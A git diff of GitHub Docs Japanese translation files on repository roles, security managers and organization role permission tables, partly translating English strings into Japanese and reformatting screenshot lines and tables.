 - **Manage deploy keys**: Add deploy keys to the repository.
 - **Edit repository metadata**: Update the repository description as well as the repository topics.
 - **Set interaction limits**: Temporarily restrict certain users from commenting, opening issues, or creating pull requests in your public repository to enforce a period of limited activity. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
-- **Set the social preview**: Add an identifying image to your repository that appears on social media platforms when your repository is linked. For more information, see "[Customizing your repository's social media preview](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview)."
+- **Set the social preview**: Add an identifying image to your repository that appears on social media platforms when your repository is linked. 詳細は「[リポジトリのソーシャルメディア向けプレビューをカスタマイズする](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview)」を参照してください。
 - **Push commits to protected branches**: Push to a branch that is marked as a protected branch.
 
-### Security
+### セキュリティ
 
 - **View {% data variables.product.prodname_code_scanning %} results**: Ability to view {% data variables.product.prodname_code_scanning %} alerts.
 - **Dismiss or reopen {% data variables.product.prodname_code_scanning %} results**: Ability to dismiss or reopen {% data variables.product.prodname_code_scanning %} alerts.
@@ -99,9 +99,9 @@ If a person is given different levels of access through different avenues, such
 
 If a person has been given conflicting access, you'll see a warning on the repository access page. The warning appears with "{% octicon "alert" aria-label="The alert icon" %} Mixed roles" next to the person with the conflicting access. To see the source of the conflicting access, hover over the warning icon or click **Mixed roles**.
 
-To resolve conflicting access, you can adjust your organization's base permissions or the team's access, or edit the custom role. For more information, see:
-  - "[Setting base permissions for an organization](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)"
-  - "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)"
+To resolve conflicting access, you can adjust your organization's base permissions or the team's access, or edit the custom role. 詳しい情報については、以下を参照してください。
+  - 「[Organization の基本レベルの権限の設定](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)」
+  - [OrganizationのリポジトリへのTeamのアクセスの管理](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)
   - "[Editing a repository role](#editing-a-repository-role)"
 
 ## Creating a repository role
@@ -113,18 +113,12 @@ To create a new repository role, you add permissions to an inherited role and gi
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-5. Click **Create a Role**.
-  ![Screenshot of "Create a Role" button](/assets/images/help/organizations/repository-role-create-role.png)
-4. Under "Name", type the name of your repository role.
-  ![Field to type a name for the repository role](/assets/images/help/organizations/repository-role-name.png)
-5. Under "Description", type a description of your repository role.
-  ![Field to type a description for the repository role](/assets/images/help/organizations/repository-role-description.png)
-6. Under "Choose a role to inherit", select the role you want to inherit.
-  ![Selecting repository role base role option](/assets/images/help/organizations/repository-role-base-role-option.png)
-7. Under "Add Permissions", use the drop-down menu to select the permissions you want your custom role to include.
-  ![Selecting permission levels from repository role drop-down](/assets/images/help/organizations/repository-role-drop-down.png)
-7. Click **Create role**.
-  ![Confirm creating a repository role](/assets/images/help/organizations/repository-role-creation-confirm.png)
+5. Click **Create a Role**. ![Screenshot of "Create a Role" button](/assets/images/help/organizations/repository-role-create-role.png)
+4. Under "Name", type the name of your repository role. ![Field to type a name for the repository role](/assets/images/help/organizations/repository-role-name.png)
+5. Under "Description", type a description of your repository role. ![Field to type a description for the repository role](/assets/images/help/organizations/repository-role-description.png)
+6. Under "Choose a role to inherit", select the role you want to inherit. ![Selecting repository role base role option](/assets/images/help/organizations/repository-role-base-role-option.png)
+7. Under "Add Permissions", use the drop-down menu to select the permissions you want your custom role to include. ![Selecting permission levels from repository role drop-down](/assets/images/help/organizations/repository-role-drop-down.png)
+7. Click **Create role**. ![Confirm creating a repository role](/assets/images/help/organizations/repository-role-creation-confirm.png)
 
 ## Editing a repository role
 
@@ -133,10 +127,8 @@ To create a new repository role, you add permissions to an inherited role and gi
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-3. To the right of the role you want to edit, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**.
-  ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-edit-setting.png)
-4. Edit, then click **Update role**.
-  ![Edit fields and update repository roles](/assets/images/help/organizations/repository-role-update.png)
+3. To the right of the role you want to edit, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**. ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-edit-setting.png)
+4. Edit, then click **Update role**. ![Edit fields and update repository roles](/assets/images/help/organizations/repository-role-update.png)
 
 ## Deleting a repository role
 
@@ -147,7 +139,5 @@ If you delete an existing repository role, all pending invitations, teams, and u
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-3. To the right of the role you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-  ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-delete-setting.png)
-4. Review changes for the role you want to remove, then click **Delete role**.
-  ![Confirm deleting a repository role](/assets/images/help/organizations/repository-role-delete-confirm.png)
+3. To the right of the role you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**. ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-delete-setting.png)
+4. Review changes for the role you want to remove, then click **Delete role**. ![Confirm deleting a repository role](/assets/images/help/organizations/repository-role-delete-confirm.png)
diff --git a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
index ad9f8d0d00..c4c1475f3a 100644
--- a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
+++ b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
@@ -40,18 +40,16 @@ You can assign the security manager role to a maximum of 10 teams in your organi
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security-and-analysis %}
-1. Under **Security managers**, search for and select the team to give the role. Each team you select will appear in a list below the search bar. 
-  ![Add security manager](/assets/images/help/organizations/add-security-managers.png)
+1. Under **Security managers**, search for and select the team to give the role. Each team you select will appear in a list below the search bar. ![Add security manager](/assets/images/help/organizations/add-security-managers.png)
 ## Removing the security manager role from a team in your organization
 
 {% warning %}
 
-**Warning:** Removing the security manager role from a team will remove the team's ability to manage security alerts and settings across the organization, but the team will retain read access to repositories that was granted when the role was assigned. You must remove any unwanted read access manually. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)."
+**Warning:** Removing the security manager role from a team will remove the team's ability to manage security alerts and settings across the organization, but the team will retain read access to repositories that was granted when the role was assigned. You must remove any unwanted read access manually. 詳しい情報については「[OrganizationリポジトリへのTeamのアクセス管理](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#removing-a-teams-access-to-a-repository)」を参照してください。
 
 {% endwarning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security-and-analysis %}
-1. Under **Security managers**, to the right of the team you want to remove as security managers, click {% octicon "x" aria-label="The X icon" %}.
-  ![Remove security managers](/assets/images/help/organizations/remove-security-managers.png)
+1. Under **Security managers**, to the right of the team you want to remove as security managers, click {% octicon "x" aria-label="The X icon" %}. ![Remove security managers](/assets/images/help/organizations/remove-security-managers.png)
diff --git a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
index a62d2b892d..57b7e58f69 100644
--- a/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
+++ b/translations/ja-JP/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
@@ -16,6 +16,7 @@ topics:
   - Teams
 shortTitle: Roles in an organization
 ---
+
 ## About roles
 {% data reusables.organizations.about-roles %}
 
@@ -30,13 +31,13 @@ Organization-level roles are sets of permissions that can be assigned to individ
 You can assign individuals or teams to a variety of organization-level roles to control your members' access to your organization and its resources. For more details about the individual permissions included in each role, see "[Permissions for organization roles](#permissions-for-organization-roles)."
 
 ### Organization owners
-Organization owners have complete administrative access to your organization. This role should be limited, but to no less than two people, in your organization. For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
+Organization owners have complete administrative access to your organization. このロールは制限する必要がありますが、Organization で少なくとも 2 人は指定する必要があります。 詳細は、「[Organization の所有権の継続性を管理する](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)」を参照してください。
 
-### Organization members
+### Organizationメンバー
 The default, non-administrative role for people in an organization is the organization member. By default, organization members have a number of permissions, including the ability to create repositories and project boards.
 
 {% ifversion fpt or ghec %}
-### Billing managers
+### 支払いマネージャー
 Billing managers are users who can manage the billing settings for your organization, such as payment information. This is a useful option if members of your organization don't usually have access to billing resources. For more information, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."
 
 {% endif %}
@@ -50,16 +51,16 @@ Billing managers are users who can manage the billing settings for your organiza
 
 If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)."
 {% endif %}
-### {% data variables.product.prodname_github_app %} managers
+### {% data variables.product.prodname_github_app %} マネージャー
 By default, only organization owners can manage the settings of {% data variables.product.prodname_github_apps %} owned by an organization. To allow additional users to manage {% data variables.product.prodname_github_apps %} owned by an organization, an owner can grant them {% data variables.product.prodname_github_app %} manager permissions.
 
-When you designate a user as a {% data variables.product.prodname_github_app %} manager in your organization, you can grant them access to manage the settings of some or all {% data variables.product.prodname_github_apps %} owned by the organization. For more information, see:
+When you designate a user as a {% data variables.product.prodname_github_app %} manager in your organization, you can grant them access to manage the settings of some or all {% data variables.product.prodname_github_apps %} owned by the organization. 詳しい情報については、以下を参照してください。
 
-- "[Adding GitHub App managers in your organization](/articles/adding-github-app-managers-in-your-organization)"
-- "[Removing GitHub App managers from your organization](/articles/removing-github-app-managers-from-your-organization)"
+- [GitHub App マネージャーを Organization に追加する](/articles/adding-github-app-managers-in-your-organization)
+- [GitHub App マネージャーを Organization から削除する](/articles/removing-github-app-managers-from-your-organization)
 
-### Outside collaborators
-To keep your organization's data secure while allowing access to repositories, you can add *outside collaborators*. {% data reusables.organizations.outside_collaborators_description %}
+### 外部コラボレーター
+リポジトリへのアクセスを許可するとともに Organization のデータを安全に保つために、*外部のコラボレータ*を追加できます。 {% data reusables.organizations.outside_collaborators_description %}
 
 ## Permissions for organization roles
 
@@ -70,154 +71,161 @@ Some of the features listed below are limited to organizations using {% data var
 {% ifversion fpt or ghec %}
 <!--Dotcom and cloud version has extra column for Billing managers-->
 
-| Organization permission | Owners | Members | Billing managers | Security managers |
-|:--------------------|:------:|:-------:|:----------------:|:----------------:|
-| Create repositories (see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)" for details) | **X** | **X** |  | **X**  |
-| View and edit billing information | **X** |  | **X** |  |
-| Invite people to join the organization | **X** |  |  |  |
-| Edit and cancel invitations to join the organization | **X** |  |  |  |
-| Remove members from the organization | **X** | | |  |
-| Reinstate former members to the organization | **X** | | |  |
-| Add and remove people from **all teams** | **X** |  |  |  |
-| Promote organization members to *team maintainer* | **X** |  |  |  |
-| Configure code review assignments (see "[Managing code review assignment for your team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)") | **X** |  |  |  |
-| Set scheduled reminders (see "[Managing scheduled reminders for pull requests](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)") | **X** |  |  |  |
-| Add collaborators to **all repositories** | **X** |  |  |  |
-| Access the organization audit log | **X** |  |  |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |  |
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |  |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |  |  |
-| Delete **all teams** | **X** |  |  |  |
-| Delete the organization account, including all repositories | **X** |  |  |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** |  | **X**  |
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | | **X**  |
-| See all organization members and teams | **X** | **X** |  | **X**  |
-| @mention any visible team | **X** | **X** |  | **X**  |
-| Can be made a *team maintainer* | **X** | **X** |  | **X** |
-| View organization insights (see "[Viewing insights for your organization](/articles/viewing-insights-for-your-organization)" for details) | **X** | **X** |  | **X**  |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** |  | **X**  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |  |
-| Edit and delete team discussions in **all teams** (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)" for details) | **X** |  |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | | **X** |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |  |
-| Manage viewing of organization dependency insights (see "[Changing the visibility of your organization's dependency insights](/articles/changing-the-visibility-of-your-organizations-dependency-insights)" for details) | **X** |  |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |  |
-| Sponsor accounts and manage the organization's sponsorships (see "[Sponsoring open-source contributors](/sponsors/sponsoring-open-source-contributors)" for details) | **X** |  | **X** | **X**  |
-| Manage email updates from sponsored accounts (see "[Managing updates from accounts your organization's sponsors](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)" for details) | **X** | | |  |
-| Attribute your sponsorships to another organization (see "[Attributing sponsorships to your organization](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)" for details ) | **X** | | |  |
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | | |  |
-| Manage security and analysis settings (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" for details) | **X** | | | **X** |
-| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details) | **X** | | | **X** |{% ifversion ghec %}
-| Enable and enforce [SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on) | **X** |  |  |  |
-| [Manage a user's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) | **X** |  |  |  |
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |  |  |{% endif %}
-| Transfer repositories | **X** | |    |  |
-| Purchase, install, manage billing for, and cancel {% data variables.product.prodname_marketplace %} apps | **X** | | |  |
-| List apps in {% data variables.product.prodname_marketplace %} | **X** | | |  |
-| Receive [{% data variables.product.prodname_dependabot_alerts %} about vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) for all of an organization's repositories | **X** |  |  | **X** |
-| Manage {% data variables.product.prodname_dependabot_security_updates %} (see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)") | **X** | | | **X** |
-| [Manage the forking policy](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) | **X** |  |  |
-| [Limit activity in public repositories in an organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization) | **X** | | |  |
-| Pull (read) *all repositories* in the organization | **X** | | | **X** |
-| Push (write) and clone (copy) *all repositories* in the organization | **X** | | |  |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | | |  |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | | |  |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | | |  |
-| Manage the default branch name (see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)") | **X** | | |  |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | | |  |{% ifversion ghec %}
-| Enable team synchronization (see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" for details) | **X** |  | |  |{% endif %}
+| Organization permission                                                                                                                                                                                                                                                                | オーナー  | メンバー  | 支払いマネージャー |      Security managers      |
+|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:-----:|:---------:|:---------------------------:|
+| リポジトリの作成 (詳細については「[Organization 内でリポジトリの作成を制限する](/articles/restricting-repository-creation-in-your-organization)」を参照)                                                                                                                                                                  | **X** | **X** |           |            **X**            |
+| 支払い情報を表示および編集する                                                                                                                                                                                                                                                                        | **X** |       |   **X**   |                             |
+| Organization に参加するようユーザを招待する                                                                                                                                                                                                                                                           | **X** |       |           |                             |
+| Organization に参加する招待を編集およびキャンセルする                                                                                                                                                                                                                                                      | **X** |       |           |                             |
+| Organization からメンバーを削除する                                                                                                                                                                                                                                                               | **X** |       |           |                             |
+| 以前のメンバーを Oraganization に復帰させる                                                                                                                                                                                                                                                          | **X** |       |           |                             |
+| **すべての Team** に対してユーザーを追加および削除する                                                                                                                                                                                                                                                       | **X** |       |           |                             |
+| Organization メンバーを*チームメンテナ*に昇格させる                                                                                                                                                                                                                                                      | **X** |       |           |                             |
+| コードレビューの割り当てを設定する ([「Team のコードレビューの割り当てを管理する」](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)を参照)                                                                                                                                         | **X** |       |           |                             |
+| スケジュールされたリマインダーを設定する (「[プルリクエストのスケジュールされたリマインダーを管理する](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests)」を参照)                                                                                                                     | **X** |       |           |                             |
+| **すべてのリポジトリに**コラボレーターを追加する                                                                                                                                                                                                                                                             | **X** |       |           |                             |
+| Organization 参加ログにアクセスする                                                                                                                                                                                                                                                               | **X** |       |           |                             |
+| Organization のプロフィールページを変更する (詳細は「[Organization のプロフィールについて](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)」を参照)                                                                                                       | **X** |       |           |                             |
+| Organization のドメインを検証する (詳細は「[Organization のドメインを検証する](/articles/verifying-your-organization-s-domain)」を参照)                                                                                                                                                                            | **X** |       |           |                             |
+| メール通知を検証済みあるいは承認済みドメインに制限する（詳細については[Organizationのメール通知を制限する](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)を参照してください）                                                                                                          | **X** |       |           |                             |
+| **すべての Team** を削除する                                                                                                                                                                                                                                                                    | **X** |       |           |                             |
+| すべてのリポジトリを含めて Organization のアカウントを削除する                                                                                                                                                                                                                                                 | **X** |       |           |                             |
+| Team を作成する (詳細は「[Organization のチーム作成権限を設定する](/articles/setting-team-creation-permissions-in-your-organization)」を参照)                                                                                                                                                                    | **X** | **X** |           |            **X**            |
+| [Organization の階層で Team を移動する](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                                               | **X** |       |           |                             |
+| プロジェクトボードを作成する (詳細は「[Organization のプロジェクトボード権限](/articles/project-board-permissions-for-an-oganization)」を参照)                                                                                                                                                                           | **X** | **X** |           |            **X**            |
+| Organization の全メンバーおよび Team の表示                                                                                                                                                                                                                                                        | **X** | **X** |           |            **X**            |
+| 参照可能なチームへの @メンション                                                                                                                                                                                                                                                                      | **X** | **X** |           |            **X**            |
+| *チームメンテナ*に指定できる                                                                                                                                                                                                                                                                        | **X** | **X** |           |            **X**            |
+| Organization のインサイトを表示する (詳細は「[Organization のインサイトを表示する](/articles/viewing-insights-for-your-organization)」を参照)                                                                                                                                                                        | **X** | **X** |           |            **X**            |
+| パブリック Team のディスカッションを表示し、**すべての Team** に投稿する (詳細は「[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)」を参照)                                                                                                                                         | **X** | **X** |           |            **X**            |
+| プライベート Team のディスカッションを表示し、**すべての Team** に投稿する (詳細は「[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)」を参照)                                                                                                                                        | **X** |       |           |                             |
+| **すべての Team** で Team ディスカッションを編集および削除する (詳細は「[混乱を生むコメントを管理する](/communities/moderating-comments-and-conversations/managing-disruptive-comments)」を参照)                                                                                                                                    | **X** |       |           |                             |
+| コミット、プルリクエスト、Issue についてコメントを非表示にする (詳細は「[混乱を生むコメントを管理する](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)」を参照)                                                                                                                       | **X** | **X** |           |            **X**            |
+| Organization の Team ディスカッションを無効にする (詳細は「[Organization の Team ディスカッションを無効化する](/articles/disabling-team-discussions-for-your-organization)」を参照)                                                                                                                                          | **X** |       |           |                             |
+| Organization dependency insights の可視性を管理する (詳細は「[Organization dependency insights の可視性を変更する](/articles/changing-the-visibility-of-your-organizations-dependency-insights)」を参照)                                                                                                         | **X** |       |           |                             |
+| **すべての Team** で Team プロフィール画像を設定する (詳細は「[Team のプロフィール画像を設定する](/articles/setting-your-team-s-profile-picture)」を参照)                                                                                                                                                                      | **X** |       |           |                             |
+| アカウントをスポンサーし、Organization のスポンサーシップを管理する（詳細は、「[オープンソースコントリビューターをスポンサーする](/sponsors/sponsoring-open-source-contributors)」を参照）                                                                                                                                                           | **X** |       |   **X**   |            **X**            |
+| スポンサーアカウントからのメール更新の管理（詳細は、「[Organization のスポンサーアカウントからの更新を管理する](/organizations/managing-organization-settings/managing-updates-from-accounts-your-organization-sponsors)」を参照）                                                                                                          | **X** |       |           |                             |
+| スポンサーシップを別の Organization に関連付ける（詳細は、「[Organization へのスポンサーシップの関連付け](/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization)」を参照してください）。                                                                                                           | **X** |       |           |                             |
+| Organization 内のリポジトリからの {% data variables.product.prodname_pages %} サイトの公開を管理する（詳細は、「[Organization の {% data variables.product.prodname_pages %} サイトの公開を管理する](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)」を参照） | **X** |       |           |                             |
+| Organization のセキュリティおよび分析設定を管理する (詳細は「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照)                                                                                           | **X** |       |           |            **X**            |
+| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details)                                                                                                                        | **X** |       |           | **X** |{% ifversion ghec %}
+| [SAML シングルサインオン](/articles/about-identity-and-access-management-with-saml-single-sign-on)を有効にして強制する                                                                                                                                                                                    | **X** |       |           |                             |
+| [組織へのユーザーの SAML アクセスを管理する](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)                                                                                                               | **X** |       |           |                             |
+| Organization の SSH 認証局を管理する (詳細は「[Organization の SSH 認証局を管理する](/articles/managing-your-organizations-ssh-certificate-authorities)」を参照)                                                                                                                                                 | **X** |       |           |        
+{% endif %}
+| リポジトリを移譲する                                                                                                                                                                                                                                                                             | **X** |       |           |                             |
+| {% data variables.product.prodname_marketplace %} アプリケーションを購入、インストール、支払い管理、キャンセルする                                                                                                                                                                                                     | **X** |       |           |                             |
+| {% data variables.product.prodname_marketplace %} のアプリケーションをリストする                                                                                                                                                                                                                      | **X** |       |           |                             |
+| Organization のリポジトリすべてについて、脆弱な依存関係についての [{% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) アラートを受け取る                                                                                      | **X** |       |           |            **X**            |
+| {% data variables.product.prodname_dependabot_security_updates %} の管理 (「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」を参照)                                                 | **X** |       |           |            **X**            |
+| [フォークポリシーの管理](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)                                                                                                                                                                         | **X** |       |           |                             |
+| [Organization のパブリックリポジトリでのアクティビティを制限する](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)                                                                                                                                                | **X** |       |           |                             |
+| Pull (read) *all repositories* in the organization                                                                                                                                                                                                                                     | **X** |       |           |            **X**            |
+| Push (write) and clone (copy) *all repositories* in the organization                                                                                                                                                                                                                   | **X** |       |           |                             |
+| Organization メンバーの[外部コラボレーター](#outside-collaborators)への変換                                                                                                                                                                                                                              | **X** |       |           |                             |
+| [Organization リポジトリへのアクセス権がある人を表示する](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                                          | **X** |       |           |                             |
+| [Organization リポジトリへのアクセス権がある人のリストをエクスポートする](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                                       | **X** |       |           |                             |
+| デフォルブランチ名を管理する (「[Organization のリポジトリのデフォルブランチ名を管理する](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)」を参照)                                                                                                       | **X** |       |           |                             |
+| デフォルトラベルの管理 (「[Organization 内のリポジトリのためのデフォルトラベルを管理する](/articles/managing-default-labels-for-repositories-in-your-organization)」を参照)                                                                                                                                                    | **X** |       |           |    |{% ifversion ghec %}
+| Team の同期を有効化する (「[Organization の Team 同期を管理する](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)」を参照)                                                                                                             | **X** |       |           |        
+{% endif %}
 
 {% elsif ghes > 3.2 or ghae-issue-4999 %}
 <!--GHES 3.3+ and eventual GHAE release don't have the extra column for Billing managers, but have security managers-->
 
-| Organization action | Owners | Members | Security managers |
-|:--------------------|:------:|:-------:|:-------:|
-| Invite people to join the organization | **X** |  |  |
-| Edit and cancel invitations to join the organization | **X** |  |  |
-| Remove members from the organization | **X** | | |  |
-| Reinstate former members to the organization | **X** | | |  |
-| Add and remove people from **all teams** | **X** |  |  |
-| Promote organization members to *team maintainer* | **X** |  |  |
-| Configure code review assignments (see "[Managing code review assignment for your team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)") | **X** |  |  |
-| Add collaborators to **all repositories** | **X** |  |  |
-| Access the organization audit log | **X** |  |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |{% ifversion ghes > 3.1 %}
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |  |{% endif %}
-| Delete **all teams** | **X** |  |  |
-| Delete the organization account, including all repositories | **X** |  |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** | **X**  |
-| See all organization members and teams | **X** | **X** | **X**  |
-| @mention any visible team | **X** | **X** | **X**  |
-| Can be made a *team maintainer* | **X** | **X** | **X**  |
-| Transfer repositories | **X** | |  |
-| Manage security and analysis settings (see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" for details) | **X** | | **X** |{% ifversion ghes > 3.1 %}
-| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details) | **X** | | **X** |{% endif %}{% ifversion ghes > 3.2 %}
-| Manage {% data variables.product.prodname_dependabot_security_updates %} (see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)") | **X** | | **X** |{% endif %}
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | **X** |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** | **X**  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |
